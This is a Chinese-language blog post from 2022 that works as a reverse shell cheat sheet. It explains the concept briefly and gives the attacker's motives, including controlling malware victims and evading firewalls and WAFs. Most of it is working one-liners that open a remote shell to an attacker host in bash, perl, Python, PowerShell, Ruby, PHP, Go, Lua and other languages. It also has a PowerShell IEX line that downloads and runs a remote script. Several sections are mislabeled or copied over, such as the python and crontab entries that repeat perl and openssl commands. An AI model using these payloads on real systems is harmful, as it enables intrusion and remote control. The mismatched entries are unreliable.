反弹shell
2022-02-25 19:07:47
# 环境
反弹shell总结
什么是反弹shell
reverse_shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
说完反弹shell,就要提一嘴正向shell(bind_shell),简单来说就是攻击机主动链接靶机。
为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
- 对方主机在局域网内,从外网无法直接访问。
- 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
- 对方的ip会动态改变,你不能持续控制。
- 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到webshell后一般我们会反弹shell。
反弹shell原理
- A主机开启10000端口的tcp服务
- B主机连接到A主机的1000的tcp服务
- A主机通过tcp服务把命令发到B主机
- B主机读取命令并且在/bin/bash中执行
- B主机把执行结果发给A主机
这样就可以在A主机中’操控’B主机了
反弹shell操作步骤
- 在本机开启并监听端口
- 在需要被控制的机器上执行反弹shell命令
- 在本机监听反弹shell的端口
常用工具netcat
攻击机命令基本不会变得 :nc -lvvp 端口号
靶机送上自己的shell :nc 攻击机_ip 攻击机开启的端口 -e /bin/bash
下面举个例子
Bash反弹shell
1 | /bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1 |
Bash反弹shell tcp
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
Bash反弹shell UDP
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
NC反弹shell
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
perl反弹shell
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' NOTE: Windows only perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
python 反弹shell
LInux
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' NOTE: Windows only perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
windows
1 | C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" |
Golang反弹sehll
1 | echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go |
Ncat反弹shell
1 | ncat 127.0.0.1 4444 -e /bin/bash |
OpenSSL反弹shell
1 | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 ncat --ssl -vv -l -p 4242 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \| openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s |
crontab反弹shell
1 | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 ncat --ssl -vv -l -p 4242 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \| openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s |
PHP反弹shell
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
Powershell反弹shell
1 | powershell -NoP -NonI -W Hidden -Exec Bypass -Command **New**-**Object** System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[**byte**[]]$bytes = 0..65535\|%{0};**while**(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (**New**-**Object** -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-**String** );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1') |
Ruby反弹shell
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
不依赖于/bin/sh的反弹shell
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
如果目标系统运行Windows反弹shell
1 | ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
Java反弹shell
1 | r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] **as** **String**[]) p.waitFor() |
socat反弹shell
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.79.137:5555 |
Lua反弹shell
Linux
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
windows
1 | lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' |
Telnet反弹shell
1 | rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p |
获取反弹shell后,可使用python获得交互式shell
1 | python -c'import pty; pty.spawn("/bin/bash")' python -c ''' import pty while(1): try: pty.spawn("/bin/bash") except : contiune''' |
WIndows反弹shell补充
除了上面这些可以通用的语言反弹shell之外,可能最重要的就是powershell了,当然还有vbs(2003以下的系统),所以Windows反弹shell还是非常重要的技能。
1 | *// 可能是因为cmd默认的字符集[gbk]所以才会乱码,如果是英文系统就不会了* |
powercat反弹shell,其实就是powershell版的netcat
1 | PS C:\> Set-ExecutionPolicy UnrestrictedPS |
然后,把payload.ps1丢到目标机器上去执行
1 | powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}" |
扩展
- https://github.com/lukechilds/reverse-shell
- [[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md]](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md])(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md)
ew网络穿透工具反弹Shell
https://github.com/idlefire/ew